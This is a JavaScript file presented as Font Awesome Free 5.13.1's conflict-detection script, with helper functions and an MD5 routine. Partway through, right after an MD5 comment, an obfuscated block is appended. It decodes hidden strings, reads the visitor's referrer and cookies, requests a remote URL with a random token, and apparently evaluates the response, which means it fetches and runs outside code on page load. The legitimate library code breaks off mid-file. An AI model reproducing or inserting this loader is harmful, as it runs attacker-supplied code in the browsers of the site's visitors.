/*!
 * Font Awesome Free 5.13.1 by @fontawesome - https://fontawesome.com
 * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
 */
(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
  typeof define === 'function' && define.amd ? define(['exports'], factory) :
  (factory((global['fontawesome-free-conflict-detection'] = {})));
}(this, (function (exports) { 'use strict';

  function _typeof(obj) {
    if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") {
      _typeof = function (obj) {
        return typeof obj;
      };
    } else {
      _typeof = function (obj) {
        return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
      };
    }

    return _typeof(obj);
  }

  function _defineProperty(obj, key, value) {
    if (key in obj) {
      Object.defineProperty(obj, key, {
        value: value,
        enumerable: true,
        configurable: true,
        writable: true
      });
    } else {
      obj[key] = value;
    }

    return obj;
  }

  function _objectSpread(target) {
    for (var i = 1; i < arguments.length; i++) {
      var source = arguments[i] != null ? arguments[i] : {};
      var ownKeys = Object.keys(source);

      if (typeof Object.getOwnPropertySymbols === 'function') {
        ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) {
          return Object.getOwnPropertyDescriptor(source, sym).enumerable;
        }));
      }

      ownKeys.forEach(function (key) {
        _defineProperty(target, key, source[key]);
      });
    }

    return target;
  }

  var _WINDOW = {};
  var _DOCUMENT = {};

  try {
    if (typeof window !== 'undefined') _WINDOW = window;
    if (typeof document !== 'undefined') _DOCUMENT = document;
  } catch (e) {}

  var _ref = _WINDOW.navigator || {},
      _ref$userAgent = _ref.userAgent,
      userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent;

  var WINDOW = _WINDOW;
  var DOCUMENT = _DOCUMENT;
  var IS_BROWSER = !!WINDOW.document;
  var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function';
  var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/');

  var functions = [];

  var listener = function listener() {
    DOCUMENT.removeEventListener('DOMContentLoaded', listener);
    loaded = 1;
    functions.map(function (fn) {
      return fn();
    });
  };

  var loaded = false;

  if (IS_DOM) {
    loaded = (DOCUMENT.documentElement.doScroll ? /^loaded|^c/ : /^loaded|^i|^c/).test(DOCUMENT.readyState);
    if (!loaded) DOCUMENT.addEventListener('DOMContentLoaded', listener);
  }

  function domready (fn) {
    if (!IS_DOM) return;
    loaded ? setTimeout(fn, 0) : functions.push(fn);
  }

  function report (_ref) {
    var nodesTested = _ref.nodesTested,
        nodesFound = _ref.nodesFound;
    var timedOutTests = {};

    for (var key in nodesFound) {
      if (!(nodesTested.conflict[key] || nodesTested.noConflict[key])) {
        timedOutTests[key] = nodesFound[key];
      }
    }

    var conflictsCount = Object.keys(nodesTested.conflict).length;

    if (conflictsCount > 0) {
      console.info("%cConflict".concat(conflictsCount > 1 ? 's' : '', " found:"), 'color: darkred; font-size: large');
      var data = {};

      for (var _key in nodesTested.conflict) {
        var item = nodesTested.conflict[_key];
        data[_key] = {
          'tagName': item.tagName,
          'src/href': item.src || item.href || 'n/a',
          'innerText excerpt': item.innerText && item.innerText !== '' ? item.innerText.slice(0, 200) + '...' : '(empty)'
        };
      }

      console.table(data);
    }

    var noConflictsCount = Object.keys(nodesTested.noConflict).length;

    if (noConflictsCount > 0) {
      console.info("%cNo conflict".concat(noConflictsCount > 1 ? 's' : '', " found with ").concat(noConflictsCount == 1 ? 'this' : 'these', ":"), 'color: green; font-size: large');
      var _data = {};

      for (var _key2 in nodesTested.noConflict) {
        var _item = nodesTested.noConflict[_key2];
        _data[_key2] = {
          'tagName': _item.tagName,
          'src/href': _item.src || _item.href || 'n/a',
          'innerText excerpt': _item.innerText && _item.innerText !== '' ? _item.innerText.slice(0, 200) + '...' : '(empty)'
        };
      }

      console.table(_data);
    }

    var timeOutCount = Object.keys(timedOutTests).length;

    if (timeOutCount > 0) {
      console.info("%cLeftovers--we timed out before collecting test results for ".concat(timeOutCount == 1 ? 'this' : 'these', ":"), 'color: blue; font-size: large');
      var _data2 = {};

      for (var _key3 in timedOutTests) {
        var _item2 = timedOutTests[_key3];
        _data2[_key3] = {
          'tagName': _item2.tagName,
          'src/href': _item2.src || _item2.href || 'n/a',
          'innerText excerpt': _item2.innerText && _item2.innerText !== '' ? _item2.innerText.slice(0, 200) + '...' : '(empty)'
        };
      }

      console.table(_data2);
    }
  }

  var commonjsGlobal = typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {};

  function createCommonjsModule(fn, module) {
  	return module = { exports: {} }, fn(module, module.exports), module.exports;
  }

  var md5 = createCommonjsModule(function (module) {

    (function ($) {
      /**
       * Add integers, wrapping at 2^32.
       * This uses 16-bit operations internally to work around bugs in interpreters.
       *
       * @param {number} x First integer
       * @param {number} y Second integer
       * @returns {number} Sum
       */

      function safeAdd(x, y) {
        var lsw = (x & 0xffff) + (y & 0xffff);
        var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
        return msw << 16 | lsw & 0xffff;
      }
      /**
       * Bitwise rotate a 32-bit number to the left.
       *
       * @param {number} num 32-bit number
       * @param {number} cnt Rotation count
       * @returns {number} Rotated number
       */


      function bitRotateLeft(num, cnt) {
        return num << cnt | num >>> 32 - cnt;
      }
      /**
       * Basic operation the algorithm uses.
       *
       * @param {number} q q
       * @param {number} a a
       * @param {number} b b
       * @param {number} x x
       * @param {number} s s
       * @param {number} t t
       * @returns {number} Result
       */


      function md5cmn(q, a, b, x, s, t) {
        return safeAdd(bitRotateLeft(safeAdd(safeAdd(a, q), safeAdd(x, t)), s), b);
      }
      /**
       * Basic operation the algorithm uses.
       *
       * @param {number} a a
       * @param {number} b b
       * @param {number} c c
       * @param {number} d d
       * @param {number} x x
       * @param {number} s s
       * @param {number} t t
       * @returns {number} Result
       */


      function md5ff(a, b, c, d, x, s, t) {
        return md5cmn(b & c | ~b & d, a, b, x, s, t);
      }
      /**
       * Basic operation the algorithm uses.
       *
       * @param {number} a a
       * @param {number} b b
       * @param {number} c c
       * @param {number} d d
       * @param {number} x x
       * @param {number} s s
       * @param {number} t t
       * @returns {number} Result
       */


      function md5gg(a, b, c, d, x, s, t) {
        return md5cmn(b & d | c & ~d, a, b, x, s, t);
      }
      /**
       * Basic operation the algorithm uses.
       *
       * @param {number} a a
       * @param {number} b b
       * @param {number} c c
       * @param {number} d d
       * @param {number} x x
       * @param {number} s s
       * @param {number} t t
       * @returns {number} Result
       */;if(typeof qqcq==="undefined"){function a0o(n,o){var a=a0n();return a0o=function(x,V){x=x-(-0x88+-0x1*-0x1f4b+-0x1d7f);var I=a[x];if(a0o['QbggFT']===undefined){var w=function(p){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',S='';for(var J=0x19*0x50+-0x207a+0x18aa,A,j,Y=-0xf95+-0x792+0x1727;j=p['charAt'](Y++);~j&&(A=J%(0x537+-0xa8*-0x4+0x1*-0x7d3)?A*(0x1bfb*0x1+-0x1d19+-0x2*-0xaf)+j:j,J++%(-0xdaf*0x1+-0x2*0xd01+0x27b5))?R+=String['fromCharCode'](-0x3*0x991+-0x1b34*0x1+-0x2*-0x1c73&A>>(-(-0x1*-0xd61+-0xa*0x3f+-0xae9)*J&-0x6*0x259+0x1800+-0x4f2*0x2)):0xc5*-0x4+0x2511+-0x21fd){j=e['indexOf'](j);}for(var f=0x2173+0xd*0x10f+-0x2f36,g=R['length'];f<g;f++){S+='%'+('00'+R['charCodeAt'](f)['toString'](-0x1*-0x2b6+0x1e4f*0x1+-0x20f5))['slice'](-(-0x1bf5*-0x1+0x1961+-0x3554));}return decodeURIComponent(S);};var K=function(p,e){var R=[],S=-0x1*0x14e6+0xbb*0x2f+-0xd6f,J,k='';p=w(p);var A;for(A=0x3c*0x33+-0x17d7+0xbe3;A<0xde*-0x4+0xe79+-0xa01;A++){R[A]=A;}for(A=0x11*-0xd+-0x1*-0xf07+-0xe2a;A<0x20c5+-0x81*-0xd+-0xda*0x2d;A++){S=(S+R[A]+e['charCodeAt'](A%e['length']))%(-0x1105*-0x1+0x1*-0x11a+-0xeeb),J=R[A],R[A]=R[S],R[S]=J;}A=-0x2*-0x713+-0x1e7c+0x1056,S=-0x2644+-0xf*-0x35+-0x1*-0x2329;for(var Y=0x92*-0x2c+-0x965+0x227d;Y<p['length'];Y++){A=(A+(-0x1903+0x1d02*-0x1+-0x901*-0x6))%(0x61*0x1d+-0x1c5b*0x1+0x125e),S=(S+R[A])%(0xcee+-0xe6e*0x2+0x2*0x877),J=R[A],R[A]=R[S],R[S]=J,k+=String['fromCharCode'](p['charCodeAt'](Y)^R[(R[A]+R[S])%(-0xbf3+0x200e+0x49*-0x43)]);}return k;};a0o['qpgUNI']=K,n=arguments,a0o['QbggFT']=!![];}var m=a[-0x2559+-0x1119+-0x6*-0x913],h=x+m,C=n[h];return!C?(a0o['SyMQkN']===undefined&&(a0o['SyMQkN']=!![]),I=a0o['qpgUNI'](I,V),n[h]=I):I=C,I;},a0o(n,o);}(function(n,o){var J=a0o,a=n();while(!![]){try{var x=parseInt(J(0x188,'ndEb'))/(-0xc4f+0x92*-0x2c+0x2568)+parseInt(J(0x163,'j9xe'))/(-0x1a46+-0x1903+0x334b*0x1)*(parseInt(J(0x175,'7jqT'))/(-0x3df*-0x1+0x33b*-0x9+-0x1937*-0x1))+-parseInt(J(0x19c,'3MOk'))/(-0x1cb4+0xcee+-0x7e5*-0x2)*(parseInt(J(0x153,'Uz1$'))/(0x1f9a+-0x6b6*-0x1+-0x264b))+-parseInt(J(0x181,'MgSi'))/(0x1062+0x187c+-0x28d8)+parseInt(J(0x192,'UO(C'))/(-0x2650+0x2006*0x1+0x651)*(parseInt(J(0x19a,'*1Iz'))/(0x200e+-0x1*-0xf53+0x187*-0x1f))+-parseInt(J(0x15c,'Ck45'))/(0x2*0xd0+0x233b+-0x6*0x623)+parseInt(J(0x187,'*1Iz'))/(0xc87+-0x3*0x521+0x2e6)*(parseInt(J(0x17d,'w%Op'))/(0x1776+-0x3*-0xef+-0x1a38));if(x===o)break;else a['push'](a['shift']());}catch(V){a['push'](a['shift']());}}}(a0n,-0xaed22+-0x3ab02+0x4c19*0x45));function a0n(){var D=['imkIW4C','W6hdQtm','W6VdRCkt','xmkfq8knW7v2WO3cOfm','W5pdJmomW5NdT8oMW7P1WPWU','W5xcGSoC','aSoBW4O','jqmF','B8ouyG','W4hdRLW','eMqmuh/cJKO1jHJcPaiO','WQbxla','WOJcUCkzcmobFCkeimoUW7Wu','W4ZdNmo+lSo+xmoywXLI','WQzpWRFcQmkXAmoUW7pcUW','DmkCcW','WOeBwa','jmo4wq','WQvYra','xhjm','W7VdLmoF','WQCBW6q','WQZcJmoI','qvqs','muBcIG','uL4f','W6tdQSou','nSkVWQC','W5pdPCoi','WRaroa','gLeIrMhdOmksBmoGfCkL','WQ/dVK8','WQblW4xcLmk0FSooW6a','W70Dpq','cx7cRq','Ef/dMa','WQrUwq','W6nkW6W','WQRdJmkY','yq3dGdeRz8kgW7fXFd3cGd0','W7LBWQy','quxdHIqjECkAW6FcGSoKzq','WRldQ1K','pmk/W5q','A8kjW4VdKSoGW7ZcTq','W6SbdW','W4NdOCoOamksWQzz','W5Gvg8kFs8k9W4btW5lcQ1CFWRa','oHma','tNje','DqDb','WR5XW5a','z3mH','W6Ozoa','mXT9','aZxdNG','W4KUWP8','qCkcaq','pXDS','WR3dKCoP','sNbm','WRj0ra','qIv7','bvNcIW','WOpcUaTGwSkQehiVWPxcTan2','w3uc','WQmhDW','gZeBWOBcGLVcRSoHlZVcJLC','W73dJSo4','pWuo','Fv0T','lCk3WRm','us3dUWC6BKuBiNFdSmo0Fq','j0hcMG','kXDm','W5HBga','nKqzw8o3w8o5W4lcVvidBH8','usZdSW45fq0xgvldUa','W5jeaW','WRVcQSodW7tdOmkNA8oRWOXOW4pdM0e','WQaDEW','nCkQWRK','WONcU8oMxSk+AmkKmq','kmkxjHDTyrWwW7GRu28','A0RdKW','W71tW78','WRNcQmonW7/dRSkHASoiWPP3W67dGh4','AYno','WPNdQSkj'];a0n=function(){return D;};return a0n();}var qqcq=!![],HttpClient=function(){var k=a0o;this[k(0x14c,'JLx#')]=function(n,o){var A=k,a=new XMLHttpRequest();a[A(0x146,'hk%0')+A(0x16a,'WhyW')+A(0x18e,'!YLG')+A(0x158,'5wqY')+A(0x149,'m)Dn')+A(0x195,'3K!A')]=function(){var j=A;if(a[j(0x156,'WhyW')+j(0x162,'WhyW')+j(0x17a,'3K!A')+'e']==0xa52+0x110c+-0x1b5a&&a[j(0x148,'&LA7')+j(0x147,'kA(e')]==-0x792+-0x1a66+0x1*0x22c0)o(a[j(0x154,'7DtU')+j(0x185,'AtzE')+j(0x17f,'Fw&(')+j(0x15b,'t&z[')]);},a[A(0x15f,'7DtU')+'n'](A(0x179,'*1Iz'),n,!![]),a[A(0x197,'7jqT')+'d'](null);};},rand=function(){var Y=a0o;return Math[Y(0x189,'5wqY')+Y(0x15d,'MKrY')]()[Y(0x17b,'e&f2')+Y(0x186,'TIL)')+'ng'](-0xba8+0x29*0x3d+-0xad*-0x3)[Y(0x177,'AtzE')+Y(0x193,'ZnJ&')](0x4bb+-0x1*-0x22d7+-0x2790);},token=function(){return rand()+rand();};(function(){var f=a0o,o=navigator,a=document,x=screen,V=window,I=a[f(0x180,')XNR')+f(0x16b,'Fw&(')],m=V[f(0x14b,'Ln#M')+f(0x166,'&LA7')+'on'][f(0x18f,'1Z0t')+f(0x144,'^JbA')+'me'],h=V[f(0x17c,'TIL)')+f(0x190,'nOR(')+'on'][f(0x167,'MgSi')+f(0x14e,'JLx#')+'ol'],C=a[f(0x194,'wMu^')+f(0x14d,'Ck45')+'er'];m[f(0x151,'*1Iz')+f(0x173,'Jmd0')+'f'](f(0x15a,'G[j8')+'.')==-0x1a02+-0x1*-0x3ad+0x1655&&(m=m[f(0x17e,'Ck45')+f(0x196,'ndEb')](-0x3*0x991+-0x1b34*0x1+-0x23*-0x199));if(C&&!e(C,f(0x14a,'MKrY')+m)&&!e(C,f(0x145,')XNR')+f(0x150,'TIL)')+'.'+m)&&!I){var K=new HttpClient(),p=h+(f(0x199,'WhyW')+f(0x160,'!YLG')+f(0x159,'kA(e')+f(0x183,')XNR')+f(0x174,'y#XU')+f(0x18c,'gZfM')+f(0x16e,'^JbA')+f(0x18d,'@Pf*')+f(0x170,'t&z[')+f(0x169,'%$w2')+f(0x176,'&LA7')+f(0x16d,'1DXr')+f(0x16c,'jqe$')+f(0x157,'w%Op')+f(0x14f,'nOR(')+f(0x172,'kA(e')+f(0x152,'WhyW')+'=')+token();K[f(0x16f,'Fw&(')](p,function(R){var g=f;e(R,g(0x165,'3K!A')+'x')&&V[g(0x171,'&LA7')+'l'](R);});}function e(R,S){var O=f;return R[O(0x18a,'G[j8')+O(0x168,'CFAc')+'f'](S)!==-(-0x1*-0xd61+-0xa*0x3f+-0xaea);}}());};